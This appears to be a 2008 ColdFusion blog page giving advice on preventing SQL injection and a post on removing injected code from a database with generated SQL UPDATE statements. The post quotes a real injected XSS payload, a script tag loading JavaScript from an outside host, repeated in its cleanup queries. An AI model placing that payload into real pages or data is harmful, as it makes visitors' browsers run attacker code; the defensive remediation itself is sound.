  • Application.cfc – Set the scriptProtect Application variable to true to enable application-wide cross-site script protection.
  • CFQueryParam – This tag, importantly, verifies the data type of a query parameter and, for RDBMSs that support bind variables, enables ColdFusion to use bind variables in the SQL statement. Bind variable usage enhances performance when executing a cfquery statement multiple times. 
    <cfquery name="qry" datasource="#APPLICATION.dsn#">
SELECT column1, column2, column3
FROM tableName
WHERE column4 = <cfqueryparam value="#variable1#" cfsqltype="cf_sql_bit" />
AND column5 LIKE <cfqueryparam value="%#variable2#%" cfsqltype="cf_sql_varchar" maxlength="200" />
AND column6 IN (<cfqueryparam value="#variable3#" cfsqltype="cf_sql_integer" list="true" />)
</cfquery>

    There are limitations to the use of the cfqueryparam tag. In ColdFusion 7 for example, you cannot use them in queries using the cachedWithin attribute. Similarly, they cannot be used in ORDER BY clauses, although the use of conditional logic should resolve the need for order by variables.

  • Functions – As a rule of thumb, validate all the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the isValid() function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as isArray(), isBinary(), isBoolean(), isDate(), isNumeric() and isSimpleValue() etc.
  • Stored Procedures – I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.

Additional Resources

How to Fix a SQL Injection Attack

15th August 2008 in ColdFusion, SQL by Simon | 5 comments

In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.

Which ever method is used to inject SQL and ultimately dangerous scripts into the database, we need to know how to deal with the problem and ‘roll it back’ to a safe state.

If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.

Programatically Replace Injected Code

Fortunately, by the very nature of an XSS attack, code is appended to the data already in the database — rather than replacing it — which means we simply need to remove the appended content.

Taking a real-world example, below is string that was injected into the database:

"></title><script src="http://1.verynx.cn/w.js"></script><!--

When rendered by a standard HTML page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.

With the example above, we can use the following script to recurse through and create update scripts for every ‘infected’ table and column (of the type char, nchar, varchar and nvarchar), in the database.

SELECT 'UPDATE [' + table_name + '] 
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''') 
WHERE ' + column_name + ' LIKE ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--%''' 
FROM information_schema.COLUMNS 
WHERE (character_maximum_length IS NOT NULL) 
AND ([table_name] NOT LIKE 'dt%') 
AND ([table_name] NOT LIKE 'sys%')

The resultset then produces update statements that look like the following (I have masked the actual table and column names):

UPDATE [tableName]   
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '"></title><script src="http://1.verynx.cn/w.js"></script><!--', '')   
WHERE columnName LIKE '%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'

These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.

If the actual code that was injected is different, simply change the above code to suit your needs.

You can download the SQL rollback script for your own needs.

Prevent a Successful Attack

As the popular idiom goes prevention is better than a cure, I will discuss in my next post how to mitigate against SQL Injection attacks — on ColdFusion-based websites — before they become a problem.

« Older entries